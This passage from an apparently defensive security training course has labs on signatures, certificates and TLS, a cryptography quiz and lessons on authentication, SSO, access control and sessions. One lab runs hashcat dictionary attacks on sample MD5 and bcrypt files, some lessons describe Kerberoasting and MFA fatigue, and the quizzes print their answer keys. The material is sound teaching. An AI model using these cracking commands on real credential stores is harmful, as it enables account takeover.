Simulator shows:
Lab marked complete.

ANSWER

The official download matches the checksum and verifies against the public key. The mirror copy fails both, so it was modified after signing. Delete it and report the mirror. The signature proves origin and integrity when the public key came from a trusted source.

Hint shown in the app: A checksum detects change, a signature also proves who produced the file.

Inspect a certificate chain

SCENARIO

The file explorer holds three fictional PEM certificates from Example Corp: leaf.pem, intermediate.pem and root.pem, plus a second set from a test host called broken-leaf.pem. Open each file in the viewer, read the issuer, subject, SAN and expiry fields, and check how they link into a chain. Then find out why the second set triggers a browser warning, whether it is a hostname mismatch, an expired date or a broken chain.

OBJECTIVE

Find issuer, SAN and expiry and identify the broken chain or hostname mismatch.

STEPS IN THE SIMULATOR

- 1 **Do:** Open leaf.pem.

Simulator shows:

Subject: www.example.com. Issuer: Example Intermediate CA.

- 2 **Do:** Read the SAN field.

Simulator shows:

DNS:www.example.com, DNS:example.com.

- 3 **Do:** Open intermediate.pem.

Simulator shows:

Subject: Example Intermediate CA. Issuer: Example Root CA.

- 4 **Do:** Open root.pem.

Simulator shows:

Subject and Issuer are the same; it is self-signed.

- 5 **Do:** Note the notAfter dates of all three.

Simulator shows:

Leaf expires first; all still valid.

- 6 **Do:** Open broken-leaf.pem and read its SAN.

Simulator shows:

Only DNS:test.example.com, but the site requested is shop.example.com.

- 7 **Do:** Check its issuer against the provided chain.

Simulator shows:

Issuer name is not in the chain; the intermediate is missing as well.

ANSWER

The good chain links leaf to intermediate to root by issuer and subject, with a matching SAN and valid dates. The broken set has a hostname mismatch (the SAN lacks shop.example.com) and an incomplete chain, since its issuing intermediate was not supplied.

Hint shown in the app: Match each certificate's issuer to the next one's subject.

Read a TLS handshake

SCENARIO

The packet viewer loads a short capture from a fictional client at 192.0.2.60 connecting to 203.0.113.80 on port 443. Frames are listed with protocol, length and summary. You must locate the ClientHello, the ServerHello, the cipher suite the server selected and the frame that carries the certificate. Use the detail pane to expand the TLS record layers. Note the TLS version and decide whether forward secrecy is in use for this session.

OBJECTIVE

Identify ClientHello, ServerHello, the selected cipher and certificate frames.

STEPS IN THE SIMULATOR

- 1 **Do:** Filter the list with tls.

Simulator shows:
Handshake frames only are shown.

- 2 **Do:** Select the first TLS frame from 192.0.2.60.

Simulator shows:
Frame 4: Client Hello.

- 3 **Do:** Expand the cipher suites list in the details.

Simulator shows:
About 17 suites offered; TLS 1.3 and 1.2 in supported versions.

- 4 **Do:** Select the reply from 203.0.113.80.

Simulator shows:
Frame 6: Server Hello.

- 5 **Do:** Expand the Server Hello and read the cipher suite.

Simulator shows:
TLS_AES_256_GCM_SHA384 selected.

- 6 **Do:** Look for a Certificate frame.

Simulator shows:
For TLS 1.2 capture B, frame 7 shows Certificate; in TLS 1.3 it is encrypted.

- 7 **Do:** Check key exchange extensions.

Simulator shows:
key_share x25519 means ECDHE; forward secrecy is in use.

ANSWER

Frame 4 is the ClientHello, frame 6 the ServerHello selecting TLS_AES_256_GCM_SHA384 over TLS 1.3. The certificate is visible only in the TLS 1.2 capture, because TLS 1.3 encrypts it. The x25519 key share shows ephemeral key exchange and forward secrecy.

Hint shown in the app: Client Hello is sent first; the server's choice is in Server Hello.

Crack weak password hashes

SCENARIO

In an isolated lab shell at Example Corp you have two fictional credential files: `users_md5.txt` with unsalted MD5 hashes of five made-up users, and `users_bcrypt.txt` with the same five passwords stored with bcrypt cost 12. A short wordlist, `words.txt`, holds 10,000 common passwords. You will run the same dictionary attack against both files and compare the results and timing. This is an authorized sandbox exercise using sample data only.

OBJECTIVE

Crack unsalted MD5 with a wordlist, then show bcrypt resisting the same attack.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: `head users_md5.txt`

Simulator shows:

Five lines of `user:hash` with 32 hex characters.

- 2 **Do:** Run: `hashcat -m 0 users_md5.txt words.txt`

Simulator shows:

Four of five hashes cracked in under a second.

- 3 **Do:** Run: `hashcat --show users_md5.txt`

Simulator shows:

Shows the recovered weak passwords, such as `summer2024`.

- 4 **Do:** Run: `head users_bcrypt.txt`

Simulator shows:

Hashes begin with `$2b$12$` and each has a different salt.

- 5 **Do:** Run: `hashcat -m 3200 users_bcrypt.txt words.txt`

Simulator shows:

Speed drops to a few hundred guesses per second.

- 6 **Do:** Wait for the run to finish or check status.

Simulator shows:

Only one very weak password falls and it takes much longer.

- 7 **Do:** Compare the two timing summaries.

Simulator shows:

MD5: seconds. bcrypt: minutes to hours for the same list.

ANSWER

Unsalted MD5 fell almost instantly because it is fast and identical passwords share hashes. The bcrypt file resisted: unique salts and a high cost made every guess expensive. Slow salted hashes cut the number of guesses an attacker can make, though weak passwords remain at risk.

Hint shown in the app: Compare guesses per second between the two hash types.

Cryptography Basics: 10 questions, 80% to pass

1. A cookie contains the value 'YWRtaW46MTIzNA=='. What is this most likely?
 - A) Strongly encrypted data
 - B) Base64 encoded text
 - C) A salted hash
 - D) A certificate
2. Which operation cannot be reversed, even with all information?
 - A) Encoding
 - B) Symmetric encryption
 - C) Hashing
 - D) Asymmetric encryption
3. Which AES mode provides authenticated encryption?
 - A) ECB
 - B) CBC
 - C) GCM
 - D) Plain CTR without a tag
4. Why is key distribution the hard part of symmetric encryption?
 - A) The cipher is slow
 - B) Both sides need the same secret without exposure
 - C) Keys are too long
 - D) AES has no keys
5. Why do TLS sessions use both asymmetric and symmetric cryptography?
 - A) Asymmetric exchanges the key, symmetric protects bulk data fast
 - B) Symmetric is weaker
 - C) Asymmetric is unsupported
 - D) To double the size
6. A salt mainly protects against what?
 - A) Collisions in AES
 - B) Precomputed lookup tables and shared-hash detection
 - C) Expired certificates
 - D) Packet loss
7. Which key signs a document?
 - A) The receiver's public key
 - B) The signer's private key
 - C) A shared AES key
 - D) A salt
8. A browser warns that a certificate's SAN lacks the visited hostname. This is a?
 - A) Hostname mismatch
 - B) Expired root
 - C) OCSP stapling
 - D) Weak cipher
9. Which feature is mandatory in TLS 1.3 but optional in TLS 1.2?
 - A) Forward secrecy through ephemeral key exchange
 - B) RC4
 - C) Compression
 - D) SSLv3 fallback
10. Which password storage choice is best?
 - A) Unsalted SHA-256
 - B) Base64 of the password
 - C) Argon2id with unique salts
 - D) AES-ECB

Answers: 1-B 2-C 3-C 4-B 5-A 6-B 7-B 8-A 9-A 10-C

1. The trailing == padding is typical of Base64, which anyone can decode.
2. A hash is one way.
3. GCM includes an authentication tag.
4. Sharing the secret safely requires another mechanism.
5. Hybrid use combines safe key exchange with fast encryption.
6. Unique salts force per-hash attacks.
7. Signing uses the private key and verification uses the public key.
8. The name in the URL is not in the certificate.
9. TLS 1.3 removed static RSA key exchange.
10. Slow, salted, memory-hard hashing is recommended.

Authentication and Access Control

Beginner | 6 lessons | 4 simulated labs | checkpoint | about 4h

This module explains how systems decide who you are and what you may do. You will compare passwords, multi-factor methods and biometrics, follow single sign-on through Kerberos, SAML, OAuth 2.0 and OpenID Connect, and design access rules with RBAC and ABAC. You will finish with session cookies and JSON Web Tokens. Most breaches involve stolen or abused credentials, so getting authentication and authorization right is one of the highest-value defensive skills you can build.

BY THE END YOU CAN

- + Compare authentication factors and MFA methods
- + Trace SAML and OAuth/OIDC flows and their tokens
- + Design RBAC and ABAC rules and secure sessions

IN THIS MODULE

Lesson 1 Passwords and password managers

Lesson 2 MFA and biometrics

Lesson 3 Single sign-on and Kerberos basics

Lesson 4 SAML, OAuth 2.0 and OpenID Connect

Lesson 5 RBAC, ABAC and access models

Lesson 6 Session management and JWTs

Lab 1 Choose MFA for scenarios (Scenario)

Lab 2 Decode a JWT and find flaws (Web proxy)

Lab 3 Trace an OAuth authorization code flow (Diagram builder)

Lab 4 Build RBAC roles (Config editor)

Checkpoint 10 questions, 80% to pass

Passwords and password managers

Passwords remain the most common authentication factor, and bad password policy causes both weak accounts and frustrated users. Modern guidance replaces folklore rules with evidence-based ones.

What NIST SP 800-63B recommends

NIST Special Publication 800-63B sets the reference guidance for digital identity. It favors length over complexity: a minimum of 8 characters for user-chosen passwords, with at least 15 recommended in newer revisions where passwords are the only factor, and support for up to 64 characters or more. It tells verifiers not to impose composition rules such as one symbol and one digit, and not to force periodic rotation unless there is evidence of compromise. Forced rotation pushes people toward predictable changes like Summer2025! becoming Autumn2025!. Verifiers should allow paste so password managers work, and should accept all printable characters including spaces.

Blocklists, breach checks and storage

Instead of composition rules, verifiers should compare new passwords against a blocklist of commonly used, expected or previously breached values. Services such as the Have I Been Pwned Pwned Passwords API let a site check a password using a k-anonymity model: only the first five characters of the SHA-1 hash are sent, and the service returns all matching suffixes, so the full password is never disclosed. On the server side, passwords must never be stored in plain text or with a fast hash. Use a slow, salted, memory-hard function such as Argon2id, scrypt or bcrypt, so that a stolen database is expensive to crack offline.

Password managers and passkeys

A password manager generates and stores a unique random password for every site, which defeats credential stuffing, where attackers replay leaked passwords from one site against another. Managers also help against phishing because they autofill only on the exact registered domain. The vault is protected by one strong master passphrase, ideally combined with MFA. Passkeys go further: they replace the password with a public-key credential bound to the site, so there is no shared secret to steal. Until passkeys are universal, the practical advice is long unique passphrases, a manager, and MFA on every account that supports it.

Common mistakes to avoid

Teams often undermine good policy in small ways. They cap password length at 12 characters, strip spaces, or disable paste in the name of security, which only hurts managers and passphrases. They email temporary passwords in clear text, reuse one default initial password for every new hire, or allow unlimited login attempts. Add throttling or lockout with care, since hard lockouts let attackers deny service to real users; progressive delays, rate limits per account and per source, and alerting on bursts work better. Also protect the reset flow with the same rigor as login, because attackers will use it when the front door is strong.

PSEUDO-OUTPUT

```
sha1(password) = 5BAA6 1E4C9B93F3F0682250B6CF8331B7EE68FD8
client sends : 5BAA6 (prefix only)
server returns : all suffixes starting 5BAA6 with counts
client compares : suffix found -> password is breached
```

WORKED EXAMPLE

A small company asks staff to change passwords every 60 days with at least one symbol. Helpdesk tickets rise and users write passwords on sticky notes. The security lead moves to a 14 character minimum, a breached-password check at signup, no scheduled rotation, and a company-wide password manager. Rotation now happens only after a suspected compromise. Weak passwords like Password1! are rejected by the blocklist even though they meet the old complexity rule, while a long memorable passphrase is accepted.

KEY TERMS

Credential stuffing: Automated login attempts using username and password pairs leaked from other breaches.

Salt: A unique random value added to each password before hashing so identical passwords produce different hashes.

Argon2id: A memory-hard password hashing function recommended for storing passwords.

Blocklist: A list of common or breached passwords that a system refuses to accept.

Passkey: A phishing-resistant public-key credential that replaces a password.

REMEMBER

- Favor length and unique passphrases over complexity rules.
- Block breached and common passwords; avoid forced rotation.
- Store with salted Argon2id, scrypt or bcrypt; use managers and passkeys.

QUICK CHECK

1. According to NIST SP 800-63B, which policy is discouraged?
 - A) Allowing long passphrases
 - B) Checking against breached passwords
 - C) Forcing password changes every 60 days with no sign of compromise
 - D) Allowing paste into password fields
2. Why does the Pwned Passwords API send only five hash characters?
 - A) To speed up hashing
 - B) To keep the full password and hash undisclosed (k-anonymity)
 - C) Because SHA-1 is only five characters long
 - D) To encrypt the password in transit
3. Which storage method is best for password verifiers?
 - A) Unsalted MD5
 - B) Reversible AES encryption with one key
 - C) Salted Argon2id
 - D) Base64 encoding
4. How does a password manager reduce phishing risk?
 - A) It encrypts email
 - B) It autofills only on the matching registered domain
 - C) It blocks all links
 - D) It rotates passwords hourly

Answers: 1-C 2-B 3-C 4-B

1. NIST advises against arbitrary periodic rotation and composition rules.
2. Only a prefix leaves the client, so the service cannot learn the full password.
3. A slow, salted, memory-hard function makes offline cracking expensive.
4. A lookalike domain does not match the stored entry, so no autofill occurs.

MFA and biometrics

A stolen password alone should not open an account. Multi-factor authentication adds independent proof, but methods differ greatly in how well they resist phishing.

Factor categories

Authentication factors fall into three classic categories: something you know (password, PIN), something you have (phone, hardware key, smart card) and something you are (fingerprint, face). True MFA combines at least two different categories; two passwords are still one factor. Common second factors include SMS codes, time-based one-time passwords (TOTP, RFC 6238, the six digit codes from authenticator apps that change every 30 seconds), push approvals, and FIDO2 security keys. They are not equal. SMS and TOTP codes can be typed into a fake login page, so an attacker running a real-time phishing proxy can relay them. These methods improve security but are not phishing resistant.

FIDO2, WebAuthn and biometrics

FIDO2 combines the W3C WebAuthn browser API with the CTAP protocol for authenticators. During registration the authenticator creates a key pair per site; the private key never leaves the device, and the server stores the public key. At login the server sends a challenge, the authenticator signs it, and the browser includes the origin in the signed data. A look-alike domain therefore produces a signature that the real site rejects, which makes FIDO2 phishing resistant. Biometrics usually unlock the local key rather than being sent to the server. They are convenient but cannot be changed if compromised, so they should be paired with a device-bound factor.

Fatigue, SIM swap and choosing methods

Attackers adapt. MFA fatigue (push bombing) floods a victim with approval prompts until one is accepted out of annoyance or confusion; number matching and context display on the push screen reduce this. SIM swapping persuades a mobile carrier to move a victim's number to an attacker's SIM, capturing SMS codes, so SMS is the weakest common factor. Choose by risk: hardware keys or passkeys for administrators and high-value accounts, authenticator apps for general staff, and SMS only as a fallback. Always protect account recovery paths, because attackers will target the weakest route into the account.

Choosing methods by risk and recovery

A practical rollout starts with the accounts that cause the most damage when lost: administrators, email, finance and cloud consoles. Enroll them first in the strongest available factor, issue two keys per person so that a lost key is not an emergency, and document a recovery process that verifies identity without falling back to SMS or security questions. Measure adoption, failed prompts and helpdesk resets. Where phishing-resistant methods are not possible, prefer number matching push or TOTP over SMS, and monitor for impossible travel, new device registrations and changes to MFA settings, which are classic attacker follow-up actions after a successful phish.

AUTHENTICATOR LOG EXCERPT

```
10:02:11 push sent user=ana.test result=denied
10:02:19 push sent user=ana.test result=denied
10:02:31 push sent user=ana.test result=denied
10:02:44 push sent user=ana.test result=approved src=198.51.100.23
alert: 4 prompts in 33 s, approval from new IP
```

WORKED EXAMPLE

An administrator named ana.test gets repeated push prompts at 10 pm after her password appears in a leaked list. She taps approve to stop the noise, and an attacker at 198.51.100.23 logs in. The security team responds by enabling number matching, limiting prompts per hour, alerting on bursts of denied pushes, and moving all admins to FIDO2 keys, which cannot be approved by accident because the key must verify the real site origin.

KEY TERMS

TOTP: A time-based one-time password algorithm that derives a short code from a shared secret and the current time.

WebAuthn: The W3C web API that lets sites register and use public-key credentials.

MFA fatigue: Spamming a user with approval requests until they approve one.

SIM swap: Fraudulent transfer of a phone number to an attacker-controlled SIM.

Phishing resistant: An authentication method bound to the real site origin so relayed responses fail.

REMEMBER

- Combine different factor categories; two passwords are not MFA.
- FIDO2 and passkeys resist phishing; SMS and TOTP do not.
- Defend against push bombing, SIM swap and weak recovery paths.

QUICK CHECK

1. Which pair counts as true multi-factor authentication?

- A) Password and security question
- B) Password and fingerprint on a device
- C) Two different passwords
- D) PIN and password

2. Why is FIDO2 phishing resistant?

- A) It uses long codes
- B) The signature is bound to the site origin
- C) It needs SMS
- D) It encrypts the password

3. Which attack is mitigated by number matching on push prompts?

- A) SIM swap
- B) MFA fatigue
- C) ARP spoofing
- D) SQL injection

4. Which second factor is generally weakest?

- A) SMS code
- B) FIDO2 key
- C) Smart card
- D) Passkey

Answers: 1-B 2-B 3-B 4-A

1. Knowledge plus inherence are two different categories.
2. A fake domain produces a signature the genuine server rejects.
3. Matching a displayed number stops blind approvals.
4. SMS can be intercepted through SIM swapping or phished.

Single sign-on and Kerberos basics

Single sign-on lets users authenticate once and reach many applications, reducing password sprawl and giving administrators one place to enforce policy.

Why SSO and identity providers

With single sign-on (SSO), applications trust a central identity provider (IdP) to authenticate users instead of storing their own passwords. The applications are called service providers or relying parties. Benefits include fewer passwords, one place to require MFA, faster offboarding because disabling one account cuts access everywhere, and consistent logging. The risk is concentration: the IdP becomes a high-value target, and a compromised session or token there can open many applications. For that reason the IdP needs the strongest controls, such as phishing-resistant MFA, conditional access, monitoring and a tested recovery plan.

The Kerberos ticket flow

Kerberos, the default for Windows Active Directory domains, uses tickets instead of sending passwords across the network. The Key Distribution Center (KDC) has two parts, the Authentication Service and the Ticket-Granting Service. Step one: the client proves its identity to the AS and receives a Ticket-Granting Ticket (TGT), encrypted with a key held by the KDC. Step two: when the user wants a service, the client presents the TGT to the TGS and receives a service ticket for that specific service. Step three: the client sends the service ticket to the service, which validates it and grants access. Tickets have limited lifetimes, and clocks must be synchronized, typically within five minutes.

Kerberos weaknesses and defenses

Because tickets are credentials, attackers target them. Kerberoasting requests service tickets for accounts with a service principal name and cracks the encrypted portion offline, so service accounts need long random passwords or managed service accounts. Pass-the-ticket reuses stolen tickets, and a forged Golden Ticket becomes possible if the krbtgt account key is stolen, so that account must be protected and its password rotated after any domain compromise. Detection relies on logs: unusual ticket request volumes, tickets with weak encryption types, and logons from impossible locations. Restricting privileged logons to hardened hosts limits where tickets can be stolen.

Where SSO fits in the bigger picture

SSO is only as strong as the controls around it. Pair it with conditional access that evaluates device health, location and risk before issuing sessions, and with short session lifetimes for sensitive applications. Provision and deprovision accounts automatically through a standard such as SCIM so that leavers lose access everywhere at once. Keep a break-glass local administrator account, protected by a long random password stored offline and monitored for any use, so an IdP outage does not lock out the team. Finally, log authentication events centrally so that abnormal token use can be traced to a user, device and application.

CONCEPT TRACE

```
1 Client -> KDC (AS): request TGT for user ana.test
2 KDC -> Client: TGT + session key
3 Client -> KDC (TGS): TGT + request for HTTP/app.example.com
4 KDC -> Client: service ticket
5 Client -> app.example.com: service ticket -> access granted
```

WORKED EXAMPLE

A user logs into a Windows workstation in the morning and receives a TGT. When she opens the intranet file server, her machine silently uses the TGT to get a service ticket for the file service, so she never types another password. If an auditor sees thousands of service ticket requests for many service accounts from one workstation in a minute, that pattern suggests Kerberoasting, and the defender checks account passwords and source host.

KEY TERMS

Identity provider: A trusted system that authenticates users and vouches for them to applications.

KDC: The Kerberos Key Distribution Center that issues tickets.

TGT: A ticket proving the user already authenticated, used to request service tickets.

Service ticket: A Kerberos ticket granting access to one specific service.

Kerberoasting: Offline cracking of service account passwords from requested service tickets.

REMEMBER

- SSO centralizes authentication at an identity provider.
- Kerberos flow: AS gives a TGT, TGS gives service tickets, service validates.
- Protect krbtgt and service accounts; monitor ticket anomalies.

QUICK CHECK

1. What does the Ticket-Granting Service issue?
 - A) A TGT
 - B) A service ticket for a specific service
 - C) A password hash
 - D) A TLS certificate
2. What is a key risk of SSO?
 - A) More passwords
 - B) The IdP becomes a concentrated target
 - C) Slower offboarding
 - D) No logging
3. Which mitigates Kerberoasting?
 - A) Short service account passwords
 - B) Long random service account passwords
 - C) Disabling NTP
 - D) Opening port 88 to the internet
4. Why must clocks be synchronized for Kerberos?
 - A) Tickets contain timestamps checked against a small allowed skew
 - B) TLS requires it
 - C) DNS needs it
 - D) Passwords expire hourly

Answers: 1-B 2-B 3-B 4-A

1. The TGS exchanges a valid TGT for service tickets.
2. Compromising the IdP can expose many applications.
3. Long random secrets make offline cracking impractical.
4. Large clock skew causes ticket validation to fail.

SAML, OAuth 2.0 and OpenID Connect

Web and cloud SSO relies on three standards that are often confused. Knowing which proves identity and which grants access prevents serious design mistakes.

SAML assertions

Security Assertion Markup Language (SAML 2.0) is an XML-based standard mostly used for enterprise web SSO. A user visits a service provider (SP), which redirects the browser to the IdP with an authentication request. After login, the IdP returns a digitally signed XML assertion stating who the user is and attributes such as group membership, delivered via the browser to the SP's assertion consumer service. The SP verifies the signature, the audience, the validity window and the destination before creating a session. Attacks target weak validation, such as signature wrapping, so SPs should use well-maintained libraries and strictly verify what was signed.

OAuth 2.0 and OpenID Connect

OAuth 2.0 is an authorization framework: it lets an application obtain limited access to resources on a user's behalf, using an access token with defined scopes, without sharing the user's password. It is not an authentication protocol. OpenID Connect (OIDC) adds an identity layer on top of OAuth 2.0 and issues an ID token, a signed JWT with claims like sub, iss, aud and exp, that tells the client who the user is. Simple rule: SAML assertion and OIDC ID token prove identity; an OAuth access token grants access to an API.

Authorization code flow with PKCE

The recommended flow for most apps is the authorization code flow. The client sends the browser to the authorization server with `response_type=code`, `client_id`, `redirect_uri`, `scope` and a random state value. After the user authenticates and consents, the server redirects back with a short-lived code and the same state. The client checks state to defeat CSRF, then exchanges the code at the token endpoint for tokens. Proof Key for Code Exchange (PKCE) adds a `code_challenge` at the start and a `code_verifier` at exchange, so a stolen code is useless to an attacker. PKCE is now advised for all clients, and redirect URIs must match exactly.

Practical pitfalls in federation

Most real incidents come from configuration rather than protocol flaws. Common errors include wildcard redirect URIs, long-lived access tokens, accepting tokens from any issuer, storing tokens in browser local storage where scripts can read them, and treating an OAuth access token as proof of login. Use the implicit flow only for legacy cases, prefer short access tokens with rotating refresh tokens, and request the narrowest scopes needed. Clients should discover keys through the IdP's published metadata and verify the issuer exactly. Regularly review the third-party applications that users have granted consent to, because malicious consent grants can persist even after a password reset.

AUTHORIZATION REQUEST (FICTIONAL)

```
GET /authorize?response_type=code
&client_id=app123
&redirect_uri=https://app.example.com/cb
&scope=openid%20profile
&state=k3Jf9x2
&code_challenge=E9MeIhoa20w...&code_challenge_method=S256
Host: idp.example.com
```

WORKED EXAMPLE

A project management tool lets users sign in with the company IdP. It uses OIDC, so after the code exchange it receives an ID token proving the user is `ana.test` and an access token for the calendar API. The developers originally accepted any `redirect_uri` under `example.com`, which would let an attacker capture codes on a controlled subdomain. They fix it with exact-match redirect URIs, state validation and PKCE.

KEY TERMS

Assertion: A signed statement from an IdP about a user, used in SAML.

Access token: A credential presented to an API that grants specific scopes.

ID token: An OIDC JWT that tells the client who authenticated.

PKCE: An extension binding the code exchange to the client that started the flow.

State parameter: A random value that ties a response to the original request to prevent CSRF.

REMEMBER

- SAML and OIDC authenticate; OAuth access tokens authorize.
- Use authorization code flow with PKCE, state and exact redirect URIs.
- Validate signatures, audience, issuer and expiry on every token.

QUICK CHECK

1. Which token proves who the user is in OIDC?

- A) Refresh token
- B) ID token
- C) Access token
- D) CSRF token

2. OAuth 2.0 is primarily designed for what?

- A) Authorization
- B) Password storage
- C) Encryption at rest
- D) Network routing

3. What does PKCE protect against?

- A) Use of a stolen authorization code
- B) SQL injection
- C) DNS spoofing
- D) Weak passwords

4. What must a SAML service provider verify?

- A) Only the user name
- B) Signature, audience and validity window
- C) The user's IP
- D) The browser version

Answers: 1-B 2-A 3-A 4-B

1. The ID token carries identity claims.
2. OAuth delegates limited access to resources.
3. Without the code_verifier a stolen code cannot be redeemed.
4. Strict checks of what was signed and for whom prevent forged assertions.

RBAC, ABAC and access models

Authentication says who you are; access control says what you may do. Choosing the right model keeps permissions understandable and limits damage when an account is abused.

The four classic models

Discretionary access control (DAC) lets the owner of a resource decide who may access it, as with file permissions on Linux; it is flexible but easy to misuse. Mandatory access control (MAC) enforces labels set by policy, such as Confidential or Secret clearances, and users cannot override them; SELinux and military systems use it. Role-based access control (RBAC) assigns permissions to roles like Helpdesk or Auditor, and users receive roles. Attribute-based access control (ABAC) evaluates attributes of the user, resource, action and environment, such as department, data classification and time, against policy rules.

RBAC versus ABAC in practice

RBAC is simple to understand and audit, which is why most organizations start there. Its weakness is role explosion: as exceptions multiply, you create dozens of near-identical roles. ABAC handles nuance without new roles, for example allow read if user.department equals resource.department and device is managed and the time is within working hours. The cost is policy complexity and harder auditing. Many environments combine them: roles provide the coarse baseline and attribute conditions refine it. Standards such as XACML describe attribute policies, and cloud IAM systems often expose conditions on roles.

Least privilege and access reviews

The principle of least privilege gives each identity only the access needed for its tasks, for as long as needed. Related ideas are need to know and separation of duties, where no single person can complete a sensitive process alone, such as both creating and approving a payment. Controls include role design, just-in-time elevation, and removing standing admin rights. Access drifts as people move teams, so organizations perform periodic access reviews (recertification), where managers confirm each user's access, and run joiner, mover, leaver processes that grant, adjust and revoke access on time. Unreviewed permissions accumulate and become the paths attackers exploit.

Designing roles that last

Start from job functions, not people. Interview each team, list the tasks they perform, and map tasks to the smallest set of permissions. Name roles after functions, keep a small catalogue, and give each role an owner who approves membership. For sensitive actions, prefer time-limited elevation, often called just-in-time or privileged access management, over permanent admin rights, and require approval and logging for each elevation. Test roles by attempting an action that should be denied, and keep the matrix in version control so changes are reviewed like code. Review break-glass and service accounts too, because they are frequently forgotten in recertification campaigns.

ROLE MATRIX (FICTIONAL)

```
role invoices payments user-admin
clerk create - -
approver read approve -
auditor read read read
helpdesk - - reset-pw
rule: clerk and approver may not be held by one user
```

WORKED EXAMPLE

A finance team gives one employee, sam.test, both the clerk and approver roles because the department is small. During a quarterly access review the auditor flags the separation of duties conflict, since sam.test could create and approve a fake invoice alone. The fix is to remove the approver role from sam.test, assign a second manager as approver, and add an automated check that rejects any user who holds both roles.

KEY TERMS

RBAC: Access control where permissions are assigned to roles and users are given roles.

ABAC: Access control that evaluates user, resource and environment attributes against policy.

Least privilege: Giving only the minimum access needed for a task.

Separation of duties: Splitting a sensitive process so no one person can complete it alone.

Access review: A periodic check that each user's access is still justified.

REMEMBER

- DAC is owner-set, MAC is policy-enforced, RBAC uses roles, ABAC uses attributes.
- Apply least privilege and separation of duties.
- Review access regularly and automate joiner, mover, leaver.

QUICK CHECK

1. Which model lets resource owners set permissions?
 - A) MAC
 - B) DAC
 - C) RBAC
 - D) ABAC
2. What problem commonly affects RBAC at scale?
 - A) Role explosion
 - B) No logging
 - C) Weak encryption
 - D) Slow hashing
3. Which rule is an example of ABAC?
 - A) Admins can do everything
 - B) Allow if user department equals document department and device is managed
 - C) Deny all
 - D) Everyone reads public files
4. What is the purpose of periodic access reviews?
 - A) Speed up logins
 - B) Remove accumulated, no-longer-needed permissions
 - C) Change passwords
 - D) Install patches

Answers: 1-B 2-A 3-B 4-B

1. DAC is owner-controlled access.
2. Exceptions lead to many near-duplicate roles.
3. It evaluates attributes of user, resource and context.
4. Reviews catch privilege creep after role changes.

Session management and JWTs

After login the application relies on a session identifier or token. If it can be stolen, guessed or replayed, the strongest login is bypassed.

Session IDs and cookies

HTTP is stateless, so after authentication the server issues a session ID, usually in a cookie, and looks it up on every request. The ID must be long, random and generated by a cryptographically secure source (at least 128 bits of entropy), never derived from user data. Regenerate the ID on login and privilege change to prevent session fixation, where an attacker plants a known ID before the victim logs in. Set cookie flags: Secure so it travels only over HTTPS, HttpOnly so JavaScript cannot read it, and SameSite=Lax or Strict to limit cross-site sending. Provide server-side logout that truly invalidates the session.

Timeouts and monitoring

Sessions need limits. An idle timeout, often 15 to 30 minutes for sensitive applications, ends sessions that are left open, and an absolute timeout caps total lifetime even with activity. Re-authenticate before high-risk actions such as changing a password or sending a large payment. Bind sessions to context carefully, for example by detecting sudden changes in user agent or by tracking device. Log session creation, termination and anomalies such as one session used from two distant addresses. On password change or detection of compromise, revoke all active sessions for the account so a stolen cookie stops working.

JWT structure and validation

A JSON Web Token has three base64url parts separated by dots: header, payload and signature. The header names the algorithm (alg), the payload holds claims such as iss (issuer), sub (subject), aud (audience), exp (expiry) and iat, and the signature protects integrity. The payload is encoded, not encrypted, so anyone can read it; never place secrets in it. Receivers must verify the signature with the expected key and a fixed list of allowed algorithms, reject alg none, check exp, nbf, iss and aud, and never trust the token header to choose the key type. Keep access tokens short-lived, and treat refresh tokens as highly sensitive.

Revocation and logout in practice

Stateless JWTs are hard to revoke before they expire, which is why short lifetimes matter. Options include keeping a server-side denylist of token identifiers (the jti claim), rotating signing keys, and using opaque tokens with introspection when immediate revocation is required. Store refresh tokens securely, rotate them on each use, and treat reuse of an old refresh token as a sign of theft that should revoke the whole family. In browsers, prefer HttpOnly cookies over local storage for tokens, protect against CSRF with SameSite, and make logout clear the cookie on the client and destroy the session on the server.

DECODED JWT (FICTIONAL)

```
header : {"alg":"HS256","typ":"JWT"}
payload: {"iss":"https://idp.example.com","sub":"u-1042",
          "aud":"api.example.com","exp":1767225600,"role":"user"}
signature: HMAC-SHA256(header.payload, secret) -> must verify
```

WORKED EXAMPLE

An API accepts any JWT whose signature validates but never checks aud. A token issued for a different internal service, api2.example.com, is replayed against the main API and accepted. The developer adds audience and issuer validation, pins the algorithm to RS256, and shortens expiry to 10 minutes. Another fix is to stop reading the role from the token alone for sensitive decisions and to confirm it against server-side data.

KEY TERMS

Session fixation: An attack that forces a victim to use a session ID the attacker already knows.

HttpOnly: A cookie flag that blocks JavaScript access to the cookie.

exp claim: A JWT field giving the time after which the token must be rejected.

aud claim: A JWT field naming the intended recipient of the token.

alg none: An insecure JWT setting meaning no signature, which verifiers must reject.

REMEMBER

- Use long random session IDs, regenerate on login, set Secure, HttpOnly, SameSite.
- Apply idle and absolute timeouts; revoke on password change.
- Validate JWT signature, algorithm, exp, iss and aud; keep tokens short-lived.

QUICK CHECK

1. Why regenerate a session ID after login?
 - A) To make it shorter
 - B) To prevent session fixation
 - C) To enable SSO
 - D) To reduce cookies
2. Is the JWT payload encrypted by default?
 - A) Yes, always
 - B) No, it is only base64url encoded
 - C) Only with HS256
 - D) Only the exp claim
3. Which cookie flag stops JavaScript from reading a session cookie?
 - A) Secure
 - B) SameSite
 - C) HttpOnly
 - D) Path
4. Which check prevents a token meant for one API working on another?
 - A) exp validation
 - B) aud validation
 - C) Base64 decoding
 - D) Longer payload

Answers: 1-B 2-B 3-C 4-B

1. A pre-login ID known to an attacker becomes useless.
2. Anyone can decode it; the signature only protects integrity.
3. HttpOnly hides it from scripts, limiting XSS theft.
4. The audience claim names the intended recipient.

Choose MFA for scenarios

SCENARIO

You advise a fictional company, Example Corp, on second factors for six user groups: domain administrators, remote sales staff with personal phones, warehouse workers on shared kiosks, executives who travel, contractors with no corporate device, and a customer portal with older users. Options are SMS, TOTP app, push with number matching, FIDO2 key and passkey. Each group has different devices, budgets and threat levels, and several users cannot carry extra hardware. You must also decide how recovery works for each group, so that a lost token does not become a weak back door.

OBJECTIVE

Pick one factor per group and justify it by phishing resistance and usability.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the scenario and read the admin group profile.

Simulator shows:

Group: domain admins. Risk: very high. Constraint: managed laptops with USB ports.

- 2 **Do:** Select FIDO2 security key for domain administrators.

Simulator shows:

Accepted. Note: phishing resistant, origin bound. Backup key required.

- 3 **Do:** Select TOTP app for remote sales staff on personal phones.

Simulator shows:

Accepted. Note: no carrier dependency, but code can be phished. Medium risk acceptable.

